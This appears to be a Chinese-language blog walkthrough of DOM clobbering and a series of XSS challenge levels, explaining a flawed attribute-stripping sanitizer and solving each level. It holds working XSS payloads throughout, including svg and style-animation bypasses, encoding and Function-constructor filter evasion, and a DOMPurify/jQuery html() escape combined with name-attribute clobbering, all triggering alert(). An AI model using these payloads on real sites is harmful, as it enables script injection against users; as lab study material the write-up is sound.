目录
1、DOM破坏案例解释
1.1先写一个demo.html文件
1.2、执行demo,看到是否将全部移除%20scr=1%20οnerrοr=alert(1)>
分析:
解决:把两个for不在同一个数组进行操作
1.3、接下来我们要想办法让第二个for循环不能删除,留下我们非法的函数,有两个方法
1.3.1用两个标签
1.3.2用DOM破坏实现:用
2.XSS的闯关
2.1Ma Spaghet!
2.2Jefff
2.3 Ugandan Knuckles
2.4Ricardo Milos
2.5Ah That's Hawt
2.6Ligma
2.7Mafia
2.8Ok, Boomer
2.9ww3的DOM破坏
2.9.1分析代码
2.9.2绕过过滤框架,html逃逸
过程解释:
最终传参
1、DOM破坏案例解释
1.1先写一个demo.html文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="author" content="system">
<meta name="keywords" content="whoami">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>
<script>alert(1)</script>
</title>
</head>
<body>
<div class="aaaaa" id="bbbbbb">aaaaaa</div>
</body>
<script>
const data = decodeURIComponent(location.hash.substr(1))
const root = document.createElement('div')
root.innerHTML = data //给div赋值
for(let el of root.querySelectorAll('*')){ //把标签里面的属性全部拿出来
for (let attr of el.attributes){
el.removeAttribute(attr.name) //在对获取的属性进行移除操作
}
} //获取div里面的子元素相当于
document.body.appendChild(root);
</script>
</html>
1.2、执行demo,看到是否将<img%20scr=1%20οnerrοr=alert(1)>全部移除
断点发现<img%20scr=1它可以移除
再加上一个属性,οnerrοr=alert(1)查看结果是否移除,结果发现他把合法属性移除而非法属性留下了
分析:
正常应该el要进入第二个for里面但是他没进去而是往上走判断了一下外层循环是否有第二个子元素,没有就直接走完了。这是因为在同一个数组上进行的操作就会出现这样的问题。例如加入abc三个元素,第一次删掉的是a,a的位置就空出来了b就往上顶,所以b没有删掉而是留下,相应往后推断就是偶数位的元素留下了,奇数位的被删掉了
解决:把两个for不在同一个数组进行操作
for(let el of root.querySelectorAll('*')){
let attrs = [];
for (let attr of el.attributes){
attrs.push(attr.name)
}
for (let name of attrs){
el.removeAttribute(name);
}
}
执行文件查看结果就将其全部移除了
1.3、接下来我们要想办法让第二个for循环不能删除,留下我们非法的函数,有两个方法
1.3.1用两个<svg>标签
127.0.0.1/demo.html#<svg><svg%20οnlοad=alert(1)></svg>,这里可以看到它已经执行了,但是代码看到其实是被移除了的
注:这里用一个<svg>标签或者外层套其他标签都是没用的
1.3.2用DOM破坏实现:用<style>标签实现
<body>
<style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert()"><input id="attributes"><input id="attributes">
</body>
这里发现就执行了,原因:
这个<style>@keyframes x{}</style>标签定义一个空动画,这个动画x本身里面是由内容的,但是我们没有,所以调用了后面事件,在动画开始的时候会触发onanimationstart事件,进而执行。标签里面的内容不会删除,因为el.attributes已经被后门的两个<input>占了,所以只会删除他俩
所以可以看到<div>下的<form>的<input>已经被删掉了
2.XSS的闯关
2.1Ma Spaghet!
HTML 5 中指定不执行由 innerHTML
插入的 <script>标签。所以换一个<img>
2.2Jefff
这道题危险出自eval,所以考虑用闭合将双引号闭合掉,然后再执行一下alert(1337)在进行一个闭合";
2.3 Ugandan Knuckles
input里面的单引号闭合可以实现onclick,用户一点击就可以执行,但是这道题不能和用户交互所以此方法不行。再input里面有个onfocus焦点可以实现不和用户交互就可以执行,但在这道题这个标签依旧需要用户点击才能执行,input有支持autofocus自动对焦,这样就可以了
2.4Ricardo Milos
form表单的action有个伪协议,这里面是2秒后自动提交就可以直接做了
2.5Ah That's Hawt
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
我们先分析代码,正则表达式过滤了什么,()`\并且是全局过滤,这样一来,不能使用()就对弹窗很不利,那么我首先想到的办法就是编码,利用编码绕过
浏览器解析顺序:URL 解析器->HTML 解析器-> CSS 解析器->JS解析器
<a%20href="javascript:alert%26%2340%3B1%26%2341">aaa
2.6Ligma
大A到大Z,小A到小Z,0-9不能使用,明显无法使用编码,改为urlcode编码方式
2.7Mafia
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
还是先分析代码。明显可以看出,过滤了`, ', ",+,-,!,\,[,]并且过滤了弹窗函数alert,这样的一个正则,如果去绕过它呢
首先我们必须知道,弹窗最常用的三个函数,为alert、prompt、confirm,三个函数都能实现弹窗,那么第一个绕过的payload简单的有些过分
payload:prompt(1337);
payload:confirm(1337);
其他方式Function构造函数
Function(/ALERT(1337)/.source.toLowerCase())()
2.8Ok, Boomer
通过名称空间混淆突变 XSS绕过DOMPurify。假设我们有一个不受信任的 HTMLhtmlMarkup并且我们想将它分配给某个div,我们使用以下代码使用 DOMPurify 对其进行清理并分配给div:
div.innerHTML = DOMPurify.sanitize(htmlMarkup)
在解析和序列化 HTML 以及对 DOM 树的操作方面,在上面的简短片段中发生了以下操作:
-
htmlMarkup
被解析为 DOM 树。 -
DOMPurify 清理 DOM 树(简而言之,该过程是遍历 DOM 树中的所有元素和属性,并删除所有不在允许列表中的节点)。
-
DOM 树被序列化回 HTML 标记。
-
分配给 后
innerHTML
,浏览器会再次解析 HTML 标记。 -
解析后的 DOM 树被附加到文档的 DOM 树中。
结合文章最开始所讲的知识就可以了,这里的javascript被禁止了,换一个白名单内的函数即可
最终传参
?boomer=<a%20id=ok%20href="tel:alert(1337)">
2.9ww3的DOM破坏
2.9.1分析代码
<!-- Challenge -->
<div>
<h4>Meme Code</h4>
<textarea class="form-control" id="meme-code" rows="4"></textarea>
<div id="notify"></div>
</div>
<script>
/* Utils */
const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
const memeTemplate = (img, text) => {
return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
}
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text)
if (notify) {
html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
}
setTimeout(_ => {
$('#status').remove()
notify ? ($('#notify').html(html)) : ''
$('#meme-code').text(template)
}, 1000)
}
}
</script>
<script>
/* Main */
let notify = false;
let text = new URL(location).searchParams.get('text')
let img = new URL(location).searchParams.get('img')
if (text && img) {
document.write(
`<div class="alert alert-primary" role="alert" id="status">`+
`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
`Creating meme... (${DOMPurify.sanitize(text)})</div>`
)
} else {
$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
}
</script>
只有输入正确才会返回值
这个题目的入口点是notify,如果它为真,我就可以在里面写一个html代码
那怎么让notify为真,很明显就要用到DOM破坏的技巧
解决:
2.9.2绕过过滤框架,html逃逸<script>标签
使用html()
解析会存在标签逃逸问题。
两种解析html的方式:jquery.html&innerhtml。innerHTML
是原生js的写法,Jqury.html()
也是调用原生的innerHTML方法,但是加了自己的解析规则
1、对于innerHTML
模拟浏览器自动补全标签,不处理非法标签。同时,<style>标签中不允许存在子标签(style标签最初的设计理念就不能用来放子标签),如果存在会被当作text解析。
<style>
文本
<style/><script>alert(1337)//
</style>
2、对于Jqury.html()
最终对标签的处理是在htmlPrefilter()中实现:jquery-src,其后再进行原生innerHTML的调用来加载到页面。
正则表达式在匹配<*/>之后会重新生成一对标签(区别于直接调用innerHTML) 所以相同的语句<style><style/><script>alert(1337)//则会被解析成如下形式,成功逃逸<script>标签。
<style>
<style>
</style>
<script>alert(1337)//
//这里补上了一个</style>所以刚好和前面的凑成了一对,导致<script>逃逸出来了
过程解释:
DOMPurify的工作机制是将传入的payload分配给元素的innerHtml属性,让浏览器解释它(但不执行),然后对潜在的XSS进行清理。由于DOMPurify在对其进行innerHtml处理时,script标签被当作style标签的text处理了,所以DOMPurify不会进行清洗(因为认为这是无害的payload),但在其后进入html()时,这个无害payload就能逃逸出来一个有害的script标签从而xss
2.9.3覆盖变量notify,只有为真才能进入HTML里面才有可能绕过过滤
1、首先尝试用DOM-clobbering创造一个id为notify的变量,但是这种方式不允许覆盖已经存在的变量。
2、借助标签的name属性,document对象创造一个变量document.notify
最终传参
?text=<img%20name%3dnotify><style><style%2F><script>alert()%2F%2F&img=https://i.imgur.com/PdbDexI.jpg
这里按逻辑来说应该会有弹窗出来,但是我访问不了外网就访问不了那个图片路径所以没有加载出来